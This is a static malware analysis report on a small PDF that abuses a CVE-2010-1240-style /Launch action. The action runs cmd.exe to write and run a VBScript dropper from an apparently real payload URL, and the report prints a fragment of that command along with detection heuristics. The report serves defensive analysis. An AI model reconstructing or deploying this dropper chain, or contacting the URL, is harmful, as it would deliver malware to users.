Malicious PDF — malware analysis report

Static analysis result for SHA-256 5c99677334b56b8d…

MALICIOUS

PDF

780 B
MD5: 68f4a7a72be8c7c7916034051ca051e2 SHA-1: e53294cbecc280f7e275c5ffc59a1907f0c14f63 SHA-256: 5c99677334b56b8db85814cef665afac77d9dc5097cf2627ca6478acc8f9a145
212 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution

The PDF file contains an embedded script designed to launch cmd.exe. This command is intended to download a VBScript payload from the URL http://recto.in/x/img.php?d=1 and save it as 'm.vbs'. The ML classifier strongly indicates maliciousness, and the CVE-2010_1240 heuristic confirms the exploitation of a known PDF vulnerability for launching VBScript droppers.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 5

  • Adobe Reader Launch action VBS dropper command chain critical CVE likely CVE_2010_1240_LAUNCH_VBS_DROPPER
    PDF uses a CVE-2010-1240-style Launch action: cmd.exe is invoked from /Launch and builds a VBS stage that uses ADODB.Stream, MSXML2.XMLHTTP, or FileSystemObject to write or execute a payload.
  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
  • /Launch action target: cmd high PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://recto.in/x/img.php?d=1

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_pdf_script_00000067.bin
ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5
pdf-embedded-script PDF decompressed stream script payload at offset 0x67 63 bytes